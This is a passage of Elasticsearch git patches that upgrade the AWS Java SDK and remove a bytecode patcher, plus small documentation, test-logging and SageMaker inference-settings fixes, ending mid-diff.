-        private static final String OLD_METHOD_DESCRIPTOR = Type.getMethodDescriptor(
-            Type.getType(String.class),
-            Type.getType(String.class),
-            Type.getType(Object[].class)
-        );
-        private static final String NEW_METHOD_DESCRIPTOR = Type.getMethodDescriptor(
-            Type.getType(String.class),
-            Type.getType(Locale.class),
-            Type.getType(String.class),
-            Type.getType(Object[].class)
-        );
-
-        private boolean foundFormatPattern = false;
-
-        ReplaceCallMethodVisitor(MethodVisitor methodVisitor) {
-            super(ASM9, methodVisitor);
-        }
-
-        @Override
-        public void visitLdcInsn(Object value) {
-            if (value instanceof String s && s.startsWith("%s")) {
-                if (foundFormatPattern) {
-                    throw new IllegalStateException(
-                        "A previous string format constant was not paired with a String.format() call. "
-                            + "Patching would generate an unbalances stack"
-                    );
-                }
-                // Push the extra arg on the stack
-                mv.visitFieldInsn(GETSTATIC, Type.getInternalName(Locale.class), "ROOT", Type.getDescriptor(Locale.class));
-                foundFormatPattern = true;
-            }
-            super.visitLdcInsn(value);
-        }
-
-        @Override
-        public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
-            if (opcode == INVOKESTATIC
-                && foundFormatPattern
-                && CLASS_INTERNAL_NAME.equals(owner)
-                && METHOD_NAME.equals(name)
-                && OLD_METHOD_DESCRIPTOR.equals(descriptor)) {
-                // Replace the call with String.format(Locale.ROOT, format, args)
-                mv.visitMethodInsn(INVOKESTATIC, CLASS_INTERNAL_NAME, METHOD_NAME, NEW_METHOD_DESCRIPTOR, false);
-                foundFormatPattern = false;
-            } else {
-                super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
-            }
-        }
-    }
-}
diff --git a/build-tools-internal/version.properties b/build-tools-internal/version.properties
index 8694c73ad0990..152ee2c9ca862 100644
--- a/build-tools-internal/version.properties
+++ b/build-tools-internal/version.properties
@@ -17,7 +17,7 @@ jna               = 5.12.1
 netty             = 4.1.118.Final
 commons_lang3     = 3.9
 google_oauth_client = 1.34.1
-awsv2sdk            = 2.30.38
+awsv2sdk            = 2.31.78
 reactive_streams    = 1.0.4
 
 antlr4            = 4.13.1
diff --git a/docs/changelog/131050.yaml b/docs/changelog/131050.yaml
new file mode 100644
index 0000000000000..f8c932b464dba
--- /dev/null
+++ b/docs/changelog/131050.yaml
@@ -0,0 +1,6 @@
+pr: 131050
+summary: Upgrade AWS Java SDK to 2.31.78
+area: "Snapshot/Restore"
+type: upgrade
+issues: []
+
diff --git a/gradle/verification-metadata.xml b/gradle/verification-metadata.xml
index 7e147eff76dbd..0eedfc37ca1a9 100644
--- a/gradle/verification-metadata.xml
+++ b/gradle/verification-metadata.xml
@@ -4954,174 +4954,174 @@
             <sha256 value="880c9d896e4b74a06c549c15ca496450165d6909fa15d7e662bee8f6a66d7afa" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="annotations" version="2.30.38">
-         <artifact name="annotations-2.30.38.jar">
-            <sha256 value="64d8c2bcccd33c20ccdbafa101b01d8e0f750c4e4bd227b0b765046f601eb944" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="annotations" version="2.31.78">
+         <artifact name="annotations-2.31.78.jar">
+            <sha256 value="978bfe6a929aeb6e0ce602462a26015f68d38d673b2635a8b5df57092bc623a2" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="apache-client" version="2.30.38">
-         <artifact name="apache-client-2.30.38.jar">
-            <sha256 value="ebb1d3d05711ccf2aa9bfc43fcc69fbe32e7be69e006e7952679c2f37d149f4d" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="apache-client" version="2.31.78">
+         <artifact name="apache-client-2.31.78.jar">
+            <sha256 value="f6f31b4e950ea0cf118d572f5d3437e13bb0d064894ca2b999f1a25082a973a7" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="arns" version="2.30.38">
-         <artifact name="arns-2.30.38.jar">
-            <sha256 value="8e2f30384e603bfe793932a143dc6d55fabaaefe85567d09ee6e29adce3892fe" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="arns" version="2.31.78">
+         <artifact name="arns-2.31.78.jar">
+            <sha256 value="8ba1e469cac45eb3d9ac3a6a78aa3ae05ce838ec99cd6babf5f50c8a927d60f8" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="auth" version="2.30.38">
-         <artifact name="auth-2.30.38.jar">
-            <sha256 value="22d59f9af8111be5219eb33ef480d84c616565913da57cb4eac686076fea370e" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="auth" version="2.31.78">
+         <artifact name="auth-2.31.78.jar">
+            <sha256 value="6cf0ebb8f2cebfa99a3037ea73df5a2e8c40c10ceb4252f513f4e95d9584b8c2" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="aws-core" version="2.30.38">
-         <artifact name="aws-core-2.30.38.jar">
-            <sha256 value="ec404c92a17f324ef4b08cd11122cdcc3a7c472615f993904c1a100df0d00223" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="aws-core" version="2.31.78">
+         <artifact name="aws-core-2.31.78.jar">
+            <sha256 value="37a383179350512140788fc23fc2c96ae0f1f54ca3b003f40b04edec94f373e4" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="aws-json-protocol" version="2.30.38">
-         <artifact name="aws-json-protocol-2.30.38.jar">
-            <sha256 value="b62be02560a46135181342afc9fb2d99373a9f04f384caf30863e2e7fe5b3892" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="aws-json-protocol" version="2.31.78">
+         <artifact name="aws-json-protocol-2.31.78.jar">
+            <sha256 value="89ccabb857b0825a96c0df46389409b91dd3a0bba54aee22d57e0406e529bc40" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="aws-query-protocol" version="2.30.38">
-         <artifact name="aws-query-protocol-2.30.38.jar">
-            <sha256 value="bfd558e937de70c3260df2356b47a25b562c59b5ebeded6b199846cc9a354fe5" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="aws-query-protocol" version="2.31.78">
+         <artifact name="aws-query-protocol-2.31.78.jar">
+            <sha256 value="2f176b32e94ff45ebd5209f5438f6ab82a744767206c6cb35815a85ee30b1b61" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="aws-xml-protocol" version="2.30.38">
-         <artifact name="aws-xml-protocol-2.30.38.jar">
-            <sha256 value="6940bdaaa0dd135a6389bcd51a7bc613cf040cb8a689b5db7dcc18443b33d1fe" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="aws-xml-protocol" version="2.31.78">
+         <artifact name="aws-xml-protocol-2.31.78.jar">
+            <sha256 value="f928fb16b154a852e8e3373eeba3a09740db75ddb4d3f55f043e818e82f8d802" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="bedrockruntime" version="2.30.38">
-         <artifact name="bedrockruntime-2.30.38.jar">
-            <sha256 value="4424437b49fdf263ea460f4da634d3279ada7f4763827d74fea48c0f8f2afea3" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="bedrockruntime" version="2.31.78">
+         <artifact name="bedrockruntime-2.31.78.jar">
+            <sha256 value="2671cfb5d2e4943274845c53caea9bf345616fc8a304e08a1b09a56282864cab" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="checksums" version="2.30.38">
-         <artifact name="checksums-2.30.38.jar">
-            <sha256 value="38d051e2c6aa4ea08ccf758adc7f30323503d9c759b4862f7f5e5b20a4871a37" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="checksums" version="2.31.78">
+         <artifact name="checksums-2.31.78.jar">
+            <sha256 value="96717d9f20561b0400ed501685d3b85aee556d1a1e3d5fee5406c84d59f4e9ef" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="checksums-spi" version="2.30.38">
-         <artifact name="checksums-spi-2.30.38.jar">
-            <sha256 value="82d97bcbb18d8f369b00c9971ca8c24ad94769d20836e0c4f86ebcdfea994cdb" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="checksums-spi" version="2.31.78">
+         <artifact name="checksums-spi-2.31.78.jar">
+            <sha256 value="3c995f07b86dd3978279cf984aedb5d1f02a00e333a22dc92a6529c13c14ab60" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="ec2" version="2.30.38">
-         <artifact name="ec2-2.30.38.jar">
-            <sha256 value="a2e52ca80aac79553f9da1463256db0177b12c5c24c1b5660a3bb7874b66222f" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="ec2" version="2.31.78">
+         <artifact name="ec2-2.31.78.jar">
+            <sha256 value="47023ae9c5777a739c8fee0041eec70600d8fe72296a63b4678e81e1ef2587e3" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="endpoints-spi" version="2.30.38">
-         <artifact name="endpoints-spi-2.30.38.jar">
-            <sha256 value="80620e3020a29871073a8a4efbcaa4d546667eeb92dfd478de808dca7e0500aa" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="endpoints-spi" version="2.31.78">
+         <artifact name="endpoints-spi-2.31.78.jar">
+            <sha256 value="fd47a6095d9ad42eee8b80d323282ffb6e7328df0a5f50bcdb0dd08f3b3ba804" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="http-auth" version="2.30.38">
-         <artifact name="http-auth-2.30.38.jar">
-            <sha256 value="ec16c0da3df9d5f0b13e469054d824b8a7a6ea4b910ec423fefac794043e22b0" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="http-auth" version="2.31.78">
+         <artifact name="http-auth-2.31.78.jar">
+            <sha256 value="ff598a45d5e1e9cad0fc144b2556f7626d469cbed941870417bce2879f56f816" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="http-auth-aws" version="2.30.38">
-         <artifact name="http-auth-aws-2.30.38.jar">
-            <sha256 value="014949af1202f007b5a847510988a63cea5420699aefb3bda01bc86aa4c01198" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="http-auth-aws" version="2.31.78">
+         <artifact name="http-auth-aws-2.31.78.jar">
+            <sha256 value="946d887e66d13a76b4189f78ad0678f8aa17bf17e5c3b8cd26d18d0fa2bff9b4" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="http-auth-aws-eventstream" version="2.30.38">
-         <artifact name="http-auth-aws-eventstream-2.30.38.jar">
-            <sha256 value="84d1167b24b8437434c0c023a95dbddd3438f9ae2252c12b704e5152e0208027" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="http-auth-aws-eventstream" version="2.31.78">
+         <artifact name="http-auth-aws-eventstream-2.31.78.jar">
+            <sha256 value="c7597431e3174361c6a6d884a996750c527f4c0a014b6028ad7470fb9ac67fce" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="http-auth-spi" version="2.30.38">
-         <artifact name="http-auth-spi-2.30.38.jar">
-            <sha256 value="b014537453ff24bee7665088e56f2cb93fe66fa3d9276a78bb8cd990da667663" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="http-auth-spi" version="2.31.78">
+         <artifact name="http-auth-spi-2.31.78.jar">
+            <sha256 value="c307fa628158e86e639f6d744c291f866860b9a73ebc28564c4acb399163bd55" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="http-client-spi" version="2.30.38">
-         <artifact name="http-client-spi-2.30.38.jar">
-            <sha256 value="1f802f578939e15eb48a816f3d519f4cb6234d48f674bfc9f81f06040b0855d2" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="http-client-spi" version="2.31.78">
+         <artifact name="http-client-spi-2.31.78.jar">
+            <sha256 value="22af2d3d2d14b0f498611807571822b9f944c51d3e162e7d7828c1308c34cb19" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="identity-spi" version="2.30.38">
-         <artifact name="identity-spi-2.30.38.jar">
-            <sha256 value="e784929d8a51591b6ed51344f41b37f2a68582d2e912e8310ea3e57a56d4d6bf" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="identity-spi" version="2.31.78">
+         <artifact name="identity-spi-2.31.78.jar">
+            <sha256 value="6e7c87776ccb7e353d7ef62f98fe2f94d2a9b292478353ad6d0e375b7cc46c0e" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="imds" version="2.30.38">
-         <artifact name="imds-2.30.38.jar">
-            <sha256 value="1586c80dfee0d09e26ad9cb313529530f1fb75d9360b05b1f1f1ca246f39d1b2" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="imds" version="2.31.78">
+         <artifact name="imds-2.31.78.jar">
+            <sha256 value="37d7c4b2910b0e901c631634fdaf820e89d3b03466dfd9cfe672bbd424ca2c6c" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="json-utils" version="2.30.38">
-         <artifact name="json-utils-2.30.38.jar">
-            <sha256 value="823f565bc6d4031e4b3dada05c1e66c1344f34d498344b7186a2f2d048ba01d8" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="json-utils" version="2.31.78">
+         <artifact name="json-utils-2.31.78.jar">
+            <sha256 value="b2c88e9b055b4b950b24115a93313195a0b4ecd3877bc282113320e7d4ad7298" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="metrics-spi" version="2.30.38">
-         <artifact name="metrics-spi-2.30.38.jar">
-            <sha256 value="1c16e68387ef1fade5ed848811f4c1779fedfe5965e33a1264ebf608e50ad902" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="metrics-spi" version="2.31.78">
+         <artifact name="metrics-spi-2.31.78.jar">
+            <sha256 value="4cd6124153a29a775e1a024af90307acb50e30f68af5199869ca2f7fbd9f83de" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="netty-nio-client" version="2.30.38">
-         <artifact name="netty-nio-client-2.30.38.jar">
-            <sha256 value="1cf334d5df80dcfd09ed8b03d57b0c3153d16807a6f8e8b98eeefce86f6e62c2" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="netty-nio-client" version="2.31.78">
+         <artifact name="netty-nio-client-2.31.78.jar">
+            <sha256 value="819524b1566960778bd29d647246431c8a6eea52050f13ff67fda5bfb3df9fff" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="profiles" version="2.30.38">
-         <artifact name="profiles-2.30.38.jar">
-            <sha256 value="212e182bad994236ea3f63d76080f5855e342759b0af970376500e4d06aa12d2" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="profiles" version="2.31.78">
+         <artifact name="profiles-2.31.78.jar">
+            <sha256 value="b6b1db610412cdf5253d615e2d909f561525a21165c650809240e91ac3902342" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="protocol-core" version="2.30.38">
-         <artifact name="protocol-core-2.30.38.jar">
-            <sha256 value="ead8ea1eb125e5d0dc4a69312f816bdb1b353604bf4b51dd2070d14e78f00d6d" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="protocol-core" version="2.31.78">
+         <artifact name="protocol-core-2.31.78.jar">
+            <sha256 value="1daaca896acd27b65d8567ad1f7e4c678f37916988fb10092ac2f349f6a9519a" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="regions" version="2.30.38">
-         <artifact name="regions-2.30.38.jar">
-            <sha256 value="e1674ff1f8d09c0585a60422b4c3ff73a06912d5fd999b91b0a398977655425e" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="regions" version="2.31.78">
+         <artifact name="regions-2.31.78.jar">
+            <sha256 value="b69dfc83837e9d6126934b7dc3375f531c216ebff494fd6d6c636f3ba6dd0057" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="retries" version="2.30.38">
-         <artifact name="retries-2.30.38.jar">
-            <sha256 value="1191db8e9540430e63c2e1fef08311f95fef29cbcda1a353810d6b02ce0495cc" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="retries" version="2.31.78">
+         <artifact name="retries-2.31.78.jar">
+            <sha256 value="be1a123a42cbc0250c4a41b172de77793dd033a3ae36699baac72c86031b8b4b" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="retries-spi" version="2.30.38">
-         <artifact name="retries-spi-2.30.38.jar">
-            <sha256 value="da37cb021156b6aae5a30337e270a33a43817a64c59ca7aa4c39074cfda39a4b" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="retries-spi" version="2.31.78">
+         <artifact name="retries-spi-2.31.78.jar">
+            <sha256 value="78736dbdcd897fe2edf19371b59d92eba6cb68dbe4341bfe0144588767d7c5ae" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="s3" version="2.30.38">
-         <artifact name="s3-2.30.38.jar">
-            <sha256 value="c83dd82a9d82ff8c7d2eb1bdb2ae9f9505b312dad9a6bf0b80bc0136653a3a24" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="s3" version="2.31.78">
+         <artifact name="s3-2.31.78.jar">
+            <sha256 value="da437c531544d27825ee65a262a8fbf2e9fb684c1a18116f4cf8327d725b8790" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="sagemakerruntime" version="2.30.38">
-         <artifact name="sagemakerruntime-2.30.38.jar">
-            <sha256 value="b26ee73fa06d047eab9a174e49627972e646c0bbe909f479c18dbff193b561f5" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="sagemakerruntime" version="2.31.78">
+         <artifact name="sagemakerruntime-2.31.78.jar">
+            <sha256 value="5e69d736773fa29d78dc6dc6d847a69519c8e2200a2bf07ba2c090bbb1ab5402" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="sdk-core" version="2.30.38">
-         <artifact name="sdk-core-2.30.38.jar">
-            <sha256 value="556463b8c353408d93feab74719d141fcfda7fd3d7b7d1ad3a8a548b7cc2982d" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="sdk-core" version="2.31.78">
+         <artifact name="sdk-core-2.31.78.jar">
+            <sha256 value="192c9c55bd9cba7ae0ee8667e58c9edcce795b02ed4e671d45323f6d2222f0f6" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="sts" version="2.30.38">
-         <artifact name="sts-2.30.38.jar">
-            <sha256 value="29a4eb10332893b17a59f81c9d5b3fbf5caa8a386479f9edf5e81b9b8961af63" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="sts" version="2.31.78">
+         <artifact name="sts-2.31.78.jar">
+            <sha256 value="b144aa0b5c7b43ec52e862bd543a166fd6632bda7dfae68cf7ed5699c4a43aa9" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="third-party-jackson-core" version="2.30.38">
-         <artifact name="third-party-jackson-core-2.30.38.jar">
-            <sha256 value="979215cd78fe0b4abfa7465e6400b29ed90ced24d76323e87b6717195f0214af" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="third-party-jackson-core" version="2.31.78">
+         <artifact name="third-party-jackson-core-2.31.78.jar">
+            <sha256 value="fd90d52f5852ad731b754aa23fc0037942a514a43ec29e472d035fd0075a55ca" origin="Generated by Gradle"/>
          </artifact>
       </component>
-      <component group="software.amazon.awssdk" name="utils" version="2.30.38">
-         <artifact name="utils-2.30.38.jar">
-            <sha256 value="977f7f03cfd8957889c478b134ce89172217d2ef77bbf81e954efe371ca1f1a8" origin="Generated by Gradle"/>
+      <component group="software.amazon.awssdk" name="utils" version="2.31.78">
+         <artifact name="utils-2.31.78.jar">
+            <sha256 value="f0442908bb9694f9d334f7f171ae3479733462a8ea893708ca2ed939321eb6a2" origin="Generated by Gradle"/>
          </artifact>
       </component>
       <component group="software.amazon.eventstream" name="eventstream" version="1.0.1">
diff --git a/plugins/discovery-ec2/build.gradle b/plugins/discovery-ec2/build.gradle
index 454508d0298f9..f4eb1d3a90f01 100644
--- a/plugins/discovery-ec2/build.gradle
+++ b/plugins/discovery-ec2/build.gradle
@@ -15,31 +15,6 @@ esplugin {
   classname ='org.elasticsearch.discovery.ec2.Ec2DiscoveryPlugin'
 }
 
-def patched = Attribute.of('patched', Boolean)
-
-configurations {
-  compileClasspath {
-    attributes {
-      attribute(patched, true)
-    }
-  }
-  runtimeClasspath {
-    attributes {
-      attribute(patched, true)
-    }
-  }
-  testCompileClasspath {
-    attributes {
-      attribute(patched, true)
-    }
-  }
-  testRuntimeClasspath {
-    attributes {
-      attribute(patched, true)
-    }
-  }
-}
-
 dependencies {
 
   implementation "software.amazon.awssdk:annotations:${versions.awsv2sdk}"
@@ -90,17 +65,6 @@ dependencies {
   testImplementation project(':test:fixtures:ec2-imds-fixture')
 
   internalClusterTestImplementation project(':test:fixtures:ec2-imds-fixture')
-
-  attributesSchema {
-    attribute(patched)
-  }
-  artifactTypes.getByName("jar") {
-    attributes.attribute(patched, false)
-  }
-  registerTransform(org.elasticsearch.gradle.internal.dependencies.patches.awsv2sdk.Awsv2ClassPatcher) {
-    from.attribute(patched, false)
-    to.attribute(patched, true)
-  }
 }
 
 tasks.named("dependencyLicenses").configure {

From 3df284fc00c60dd255f519f9e4ef3e2364d9f50b Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Wed, 16 Jul 2025 16:45:42 +0200
Subject: [PATCH 168/299] [DOCS] Remove misused applies_to tag (#131349)
 (#131357)

* [DOCS] Remove misused applies_to tag
---
 .../esql/_snippets/functions/layout/match_phrase.md           | 2 +-
 .../xpack/esql/expression/function/fulltext/MatchPhrase.java  | 4 +---
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/docs/reference/query-languages/esql/_snippets/functions/layout/match_phrase.md b/docs/reference/query-languages/esql/_snippets/functions/layout/match_phrase.md
index 6eb9e17bf35f9..f658fbf1bbde2 100644
--- a/docs/reference/query-languages/esql/_snippets/functions/layout/match_phrase.md
+++ b/docs/reference/query-languages/esql/_snippets/functions/layout/match_phrase.md
@@ -2,7 +2,7 @@
 
 ## `MATCH_PHRASE` [esql-match_phrase]
 ```{applies_to}
-stack: unavailable 9.0, ga 9.1.0
+stack: ga 9.1.0
 ```
 
 **Syntax**
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
index 4a99227576611..f3798a6ebf463 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/fulltext/MatchPhrase.java
@@ -89,9 +89,7 @@ public class MatchPhrase extends FullTextFunction implements OptionalArgument, P
 
     @FunctionInfo(
         returnType = "boolean",
-        appliesTo = {
-            @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.UNAVAILABLE, version = "9.0"),
-            @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.1.0") },
+        appliesTo = { @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.1.0") },
         description = """
             Use `MATCH_PHRASE` to perform a [`match_phrase`](/reference/query-languages/query-dsl/query-dsl-match-query-phrase.md) on the
             specified field.

From 012d734c13844aad5445719405dfa6b8cbbeadb9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lorenzo=20Dematt=C3=A9?= <lorenzo.dematte@elastic.co>
Date: Wed, 16 Jul 2025 18:46:39 +0200
Subject: [PATCH 169/299] Add exception logging when interrupted (#131153)
 (#131373)

---
 .../common/util/concurrent/AbstractAsyncTaskTests.java         | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/server/src/test/java/org/elasticsearch/common/util/concurrent/AbstractAsyncTaskTests.java b/server/src/test/java/org/elasticsearch/common/util/concurrent/AbstractAsyncTaskTests.java
index ec8e0f69d89d8..a193bcd8a89ed 100644
--- a/server/src/test/java/org/elasticsearch/common/util/concurrent/AbstractAsyncTaskTests.java
+++ b/server/src/test/java/org/elasticsearch/common/util/concurrent/AbstractAsyncTaskTests.java
@@ -59,12 +59,14 @@ protected void runInternal() {
                 try {
                     barrier1.await();
                 } catch (Exception e) {
+                    logger.error("barrier1 interrupted", e);
                     fail("interrupted");
                 }
                 count.incrementAndGet();
                 try {
                     barrier2.await();
                 } catch (Exception e) {
+                    logger.error("barrier2 interrupted", e);
                     fail("interrupted");
                 }
                 if (shouldRunThrowException) {
@@ -112,6 +114,7 @@ protected void runInternal() {
                 try {
                     barrier.await();
                 } catch (Exception e) {
+                    logger.error("barrier interrupted", e);
                     fail("interrupted");
                 }
                 if (shouldRunThrowException) {

From d1098cb6396b8f566ce382da943134bc7d001552 Mon Sep 17 00:00:00 2001
From: Pat Whelan <pat.whelan@elastic.co>
Date: Wed, 16 Jul 2025 16:11:51 -0400
Subject: [PATCH 170/299] [ML] Remove SageMaker Elastic updates (#131301)
 (#131380)

Rather than silently drop the payload,
throw a validation error when Users try to send task settings in the
update payload for SageMaker inference with the Elastic API.
---
 .../sagemaker/model/SageMakerModel.java       |  2 +-
 .../model/SageMakerTaskSettings.java          | 12 +++++++++-
 .../schema/SageMakerStoredTaskSchema.java     |  4 ++++
 .../schema/elastic/ElasticPayload.java        |  6 -----
 .../elastic/SageMakerElasticTaskSettings.java | 12 ++++++++++
 .../SageMakerSchemaPayloadTestCase.java       |  2 +-
 .../elastic/ElasticPayloadTestCase.java       | 22 +++++++++++++------
 7 files changed, 44 insertions(+), 16 deletions(-)

diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerModel.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerModel.java
index 48e32c741a601..0975f8616da03 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerModel.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerModel.java
@@ -116,7 +116,7 @@ public SageMakerModel override(Map<String, Object> taskSettingsOverride) {
             getConfigurations(),
             getSecrets(),
             serviceSettings,
-            taskSettings.updatedTaskSettings(taskSettingsOverride),
+            taskSettings.override(taskSettingsOverride),
             awsSecretSettings
         );
     }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
index fd9eb2d20c5d3..a36944c51f104 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/model/SageMakerTaskSettings.java
@@ -71,11 +71,21 @@ public boolean isEmpty() {
     @Override
     public SageMakerTaskSettings updatedTaskSettings(Map<String, Object> newSettings) {
         var validationException = new ValidationException();
-
         var updateTaskSettings = fromMap(newSettings, apiTaskSettings.updatedTaskSettings(newSettings), validationException);
+        validationException.throwIfValidationErrorsExist();
+
+        return override(updateTaskSettings);
+    }
 
+    public SageMakerTaskSettings override(Map<String, Object> newSettings) {
+        var validationException = new ValidationException();
+        var updateTaskSettings = fromMap(newSettings, apiTaskSettings.override(newSettings), validationException);
         validationException.throwIfValidationErrorsExist();
 
+        return override(updateTaskSettings);
+    }
+
+    private SageMakerTaskSettings override(SageMakerTaskSettings updateTaskSettings) {
         var updatedExtraTaskSettings = updateTaskSettings.apiTaskSettings().equals(SageMakerStoredTaskSchema.NO_OP)
             ? apiTaskSettings
             : updateTaskSettings.apiTaskSettings();
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
index 09a73f0f42ea4..a3ff632f466c2 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerStoredTaskSchema.java
@@ -68,4 +68,8 @@ default boolean isFragment() {
 
     @Override
     SageMakerStoredTaskSchema updatedTaskSettings(Map<String, Object> newSettings);
+
+    default SageMakerStoredTaskSchema override(Map<String, Object> newSettings) {
+        return updatedTaskSettings(newSettings);
+    }
 }
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayload.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayload.java
index 46c5a9eb30a9a..781b1e906a17f 100644
